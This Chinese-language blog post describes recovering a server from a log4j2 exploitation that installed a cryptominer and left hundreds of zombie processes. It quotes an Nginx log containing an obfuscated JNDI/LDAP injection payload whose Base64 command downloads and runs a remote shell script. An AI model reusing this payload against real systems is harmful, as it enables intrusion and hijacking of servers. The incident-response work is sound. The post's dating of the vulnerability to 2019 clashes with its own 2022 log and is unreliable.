解决log4j2漏洞遭到挖矿、僵尸进程病毒攻击
1.前因
在2019年12月份,爆出來的log4j2漏洞,當時可謂滿城風雨。當時自己的一個框架剛好從log4j升級到log4j2。按照當時的方案,臨時做了修復,但終究還是抵不過殘酷的現實,該來的始終還是會來的。因此不可輕視這些安全的問題。
2.發現中病毒的過程
一大早起床,手機就收到短信,說某某服務器中病毒了。因為服務器是在阿里云上,所以上班后第一件事情就是就是進入阿里云后臺。在云阿里云中心查看,果然中招。
?
查看這個惡意的腳本代碼,發現是從java web項目中來的。再根據現在他攻擊的腳本,發現就是利用了log4j2的漏洞進來的。
接著我們根據阿里云掃描得到的信息,第一時間先去把它在我們服務器上留存的腳本,先刪掉。
使用 rm -rf ****? 這樣的命令,把那些文件全部干掉。
?通過這些信息,我們發現,他腳本信息是存放在/tmp目錄下。
3.解決思路
3.1.先分析病毒從哪里進來的,先修改這個源頭的來源。
防止我們在服務器拼命殺毒,最后,攻擊者還是 可以輕易的把腳本弄進來。前面我們已經知道攻擊者是從我們的web項目進來的。然后前端我們的使用Nginx進行請求分發。所以通過這條線索,我們查看Nginx的請求日志,根據阿里云發現病毒的時間,我們查看日志的時候,重點查看這段時間內是否有異常的請求。
159.203.95.42 - - [18/Mar/2022:07:46:44 +0800] "GET /:443:undefined?id= HTTP/1.1" 404 128 "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.203.109.65:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny4xNzIuMjI2LjIyMi84VXNBLnNoOyBjdXJsIC1PIGh0dHA6Ly8xNjcuMTcyLjIyNi4yMjIvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g=}')" "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.203.109.65:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny4xNzIuMjI2LjIyMi84VXNBLnNoOyBjdXJsIC1PIGh0dHA6Ly8xNjcuMTcyLjIyNi4yMjIvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g=}')" "-"最后一段參數通過Base64位解碼:最終就是攻擊的腳本了。
?最后我們確定這就是log4j2漏洞,被人攻擊了。
3.2.先修改項目中的log4j2版本
因為項目springboot版本不是特別高,之前一直是使用1.幾的版本,本來是想著log4j2的功能更豐富和性能更好,所以升級了。現在為了解決問題,先把log4j版本,降低到原來的使用版本。這樣最快速解決問題。
3.3.刪掉這個漏洞加載進/tmp下的文件
這個相對比較簡單一些。因為一般情況下,/tmp目錄下的文件,都不是特別重要的文件。
所以看到默認的文件,就把它們干掉。
3.4.安裝htop工具,查看異常的進程
這個工具非常有用,白天因為病毒一起來,阿里云幾分鐘之內就把那些進程殺死了。但是因為病毒已經進來,并創建了很多個守護進程。我們通過top命令,又查不到這些特殊的進程存在。因此很難發現異常情況。
先安裝htop工具,我這邊的系統centos7.9的系統。
yum -y install htop安裝完后,直接在輸入 htop? 命令就可以執行了。退出命令,直接按F10? 即可。
?一般情況下,我們正常的進程,command這一列都是具體的路徑,或者是具體名稱。但看到這種一串字符的進程。估計就是病毒進程了。
通過這個線索,我們通過ps aux|grep pid 來查看,具體的進程所在的位置,和他的啟動時間。
ps aux|grep PID在查詢的過程中,發現這些進程中有 defunct? 這個標識。一查才發現,原來這些是僵尸進程的標識。從發現病毒到當天晚上10點多,通過以下命令查看,竟然有300多個僵尸進程存在。怪不得,隔一段時間,就會發起一波攻擊,原因就是這些僵尸進程導致的。
ps aux|grep defunct這里特別要注意,要殺僵尸進程,一定要先殺死他的父進程,這樣子進程就會自動掛了。
結合下面命令進行殺父進程
kill -9 pid技巧,當時看到僵尸進程有300多個,心碎了一地,這要殺到什么時候,最后實踐得出一個規律,那就是從最早產生的進程殺起。一般這些進程基本上就是父進程了。
殺完之后,再使用命令查看,是否減少了。
ps aux|grep defunct?最后看到這里,基本上就殺完了。
總結一下,一般這種病毒為什么殺了之后,還會不斷的出現,本質上就是因為這些守護進程還存在,不把這些守護進程殺掉,那分分鐘鐘攻擊還是會起來。
4.最后我們通過監控,看cpu還會不會突然起來,來判斷是否把這些病毒清掉了。
?
總結
以上是生活随笔為你收集整理的解决log4j2漏洞遭到挖矿、僵尸进程病毒攻击的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 分布式并发重复提交问题
- 下一篇: 如何写年终总结